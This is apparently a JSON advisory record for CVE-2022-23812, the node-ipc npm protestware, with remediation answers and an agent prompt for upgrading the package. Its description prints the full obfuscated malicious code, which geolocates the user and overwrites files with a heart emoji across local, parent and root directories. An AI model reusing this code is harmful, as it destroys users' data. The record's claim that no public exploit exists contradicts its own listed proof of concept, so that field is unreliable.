{"answers":{"affected":"2 open source packages ship an affected version, including node-ipc. It affects 1 product.","exploited":"There is no known exploitation of CVE-2022-23812 in the wild and no public exploit code.","fix":"Upgrade node-ipc to 10.1.3 or later.","what":"CVE-2022-23812 is a critical vulnerability in node-ipc, published on 16 Mar 2022. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2022-23812 and fix it if it is affected.\n\nWhat it is: CVE-2022-23812 is a critical vulnerability in node-ipc, published on 16 Mar 2022. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2022-23812 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- node-ipc (npm): affected from 10.1.1; fixed in 10.1.3\n- node-ipc (npm): affected from 10.1.1; fixed in 10.1.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2022-23812/ (Markdown: https://insights.sbomify.com/CVE-2022-23812/index.md)","id":"CVE-2022-23812","markdown":"https://insights.sbomify.com/CVE-2022-23812/index.md","name":"CVE-2022-23812","record":{"aliases":["GHSA-97m3-w2cp-4xx6"],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["data_modify","denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"npm package","requires_auth":"none","summary":"Malicious code in the node-ipc npm package overwrites files with a heart emoji for users in Russia or Belarus.","user_interaction":"not_required","vuln_class":"supply_chain"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"snyk","cpe":[{"product":"node-ipc","vendor":"node-ipc_project"}],"cvss":{"score":9.8,"severity":"critical","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","version":"3.1"},"cwes":[],"description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t \u003e 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e \u003c r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length \u003e 0 ? f.push(...s) : null; } else if (i.indexOf(o) \u003e= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","ecosystems":["npm"],"exploits":{"exploitdb":0,"first_seen":"2022-03-17","github_poc":1,"max_poc_stars":1,"metasploit":0,"nuclei":0,"refs":[{"date":"2022-03-17T16:49:22Z","kind":"github_poc","ref":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","stars":1,"title":"node-ipc is malware / protestware!"}],"tier":"poc_unverified"},"has_fix":true,"headline":"Malicious Package","id":"CVE-2022-23812","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"npm","product":null,"products":[],"type":"supply_chain","year":"2022"},"n_packages":2,"n_references":6,"next":{"headline":"Memory corruption in 2nd Gen EPYC","id":"CVE-2022-23813"},"packages":[{"ecosystem":"npm","fixed":["10.1.3"],"introduced":["10.1.1"],"last_affected":[],"package":"node-ipc","purl":null,"source":"GHSA-97m3-w2cp-4xx6"},{"ecosystem":"npm","fixed":["10.1.3"],"introduced":["10.1.1"],"last_affected":[],"package":"node-ipc","purl":"pkg:npm/node-ipc","source":"GHSA-97m3-w2cp-4xx6"}],"prev":{"headline":"Code injection in a-blog cms","id":"CVE-2022-23810"},"products":["node-ipc"],"published":"2022-03-16","related":[],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"open","licence":"CC0","name":"PoC-in-GitHub"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":"PUBLISHED","updated":"2024-09-16","vendors":["n/a"]},"summary":"Malicious code in the node-ipc npm package overwrites files with a heart emoji for users in Russia or Belarus.","url":"https://insights.sbomify.com/CVE-2022-23812/"}